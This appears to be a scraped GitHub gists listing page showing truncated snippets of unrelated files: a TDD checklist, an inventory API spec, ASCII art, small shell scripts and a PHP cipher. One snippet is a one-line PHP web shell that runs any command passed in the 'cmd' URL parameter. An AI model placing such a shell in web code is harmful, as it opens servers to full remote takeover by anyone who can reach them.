- Write the test, then write the code to satisfy that test.
- Write the complete minimum to satisfy the test
- If the class doesn't exist, only create the class.
- Always write the tests before beginning the code.
- Start by specifying the application functions.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
- | |
url: /addItem | |
method: post | |
params: [{ name: Sku, type: string, desc: 'Product SKU. Used when CODE is blank.' }, { name: Code, type: string, desc: 'Product CODE. Used when SKU is blank.' }, { name: WarehouseId, type: int, desc: '*from [getWarehouses](doc:getwarehouses)*' }, { name: LocationCode, type: string, desc: 'The warehouse location inventory will be added to.' }, { name: Quantity, type: int, desc: 'Quantity to add.' }, { name: Reason, type: string, desc: 'Transaction reason must exist in SkuVault' }, { name: Note, type: string, desc: 'Transaction Note' }, { name: SerialNumbers, type: array_string, desc: 'Serial Numbers. Required only for serialized products. Amount of Serial Numbers should correspond to the Quantity.' }, { name: TenantToken, type: string, desc: '*from [getTokens](doc:gettokens)*' }, { name: UserToken, type: string, desc: '*from [getTokens](doc:gettokens)*' }, { name: Content-Type, type: string, desc: application/json }, { name: Accept, type: string, desc: application/json |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
[{"url":"\/addItem","method":"post","params":[{"name":"Sku","type":"string","desc":"Product SKU. Used when CODE is blank."},{"name":"Code","type":"string","desc":"Product CODE. Used when SKU is blank."},{"name":"WarehouseId","type":"int","desc":"*from [getWarehouses](doc:getwarehouses)*"},{"name":"LocationCode","type":"string","desc":"The warehouse location inventory will be added to."},{"name":"Quantity","type":"int","desc":"Quantity to add."},{"name":"Reason","type":"string","desc":"Transaction reason must exist in SkuVault"},{"name":"Note","type":"string","desc":"Transaction Note"},{"name":"SerialNumbers","type":"array_string","desc":"Serial Numbers. Required only for serialized products. Amount of Serial Numbers should correspond to the Quantity."},{"name":"TenantToken","type":"string","desc":"*from [getTokens](doc:gettokens)*"},{"name":"UserToken","type":"string","desc":"*from [getTokens](doc:gettokens)*"},{"name":"Content-Type","type":"string","desc":"application\/json"},{"name":"Accept","type":"string" |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| | |
pN▒g▒p▒g▒▒g▒ge | |
▒▒▒▒▒▒▒▓▓▒▒▒▒▒ | |
_0▒▓▒▓▒▓▓▒▒▒▒▒▒▒! | |
4▒▒▒▒▒▓▓▓▒▓▓▒▒▒▒▒Y | |
|` ~~#00▓▓0▒MMM"M| | |
`gM▓M7 | |
| 00Q0 | | |
#▒____g▒0▓▓P______0 | |
#▒0g_p#▓▓04▒▒&,__M# |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#! /bin/bash | |
# Tags: wordpress, laravel, forge, env | |
# This script creates a symlink for wp-config.php so that you | |
# can edit it from the Forge user interface by clicking | |
# "Edit Files" (like you would for a Laravel app). | |
# Get a list of sites on the server | |
SITES=$(find /home/forge -maxdepth 1 | grep -v "\/\." | grep "\.") |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
[0;31m | |
@@@@@@@@@@@ | |
@@@ @@@ | |
@@ @@@@@@@@@@ @@@ | |
@@@@@ @@@@ @@ _ \ __| _` | __ \ _` | _ \ | |
@@@ @@@@@@@ @@@ @@ ( | | ( | | | ( | __/ | |
@@ @ @@ @ @@@ @@ \___/ _| \__,_|_| _|\__, |\___| | |
@@ @ @@ @ @@@ @@ |___/ | |
@@@ @ @ @@@ @@@ Helping kids have a | |
@@@ @@@@@ @@@ @@@ better future. |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
echo "Checking packet loss..." | |
ping -c 100 google.com | grep -o "[0-9]*\.[0-9]*% packet loss" | |
say "Packet loss check complete." |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/sh | |
cp tor-search.sh /usr/local/bin/tor-search | |
chmod +x /usr/local/bin/tor-search |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// This is a super basic, but effective remote command execution (RCE) script. | |
<?=system($_GET['cmd'])?> |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
$ls = ['A','B','C','D','E','F','G','H','I','J','K','L','M','N','O','P','Q','R','S','T','U','V','W','X','Y','Z']; | |
$ks = strtoupper('horsebounceauburnrooseveltbeepswapnoreastersatchelcuriousdunamiswintermintrubikdandermystifyapogeefranciscandiminish'); | |
$vs = []; | |
function encode($str) { | |
$str = strtoupper(preg_replace('/[^a-zA-Z]/', '', $str)); | |
global $ls, $ks; | |
$n = []; | |
foreach (str_split($str) as $k => $c) { |
NewerOlder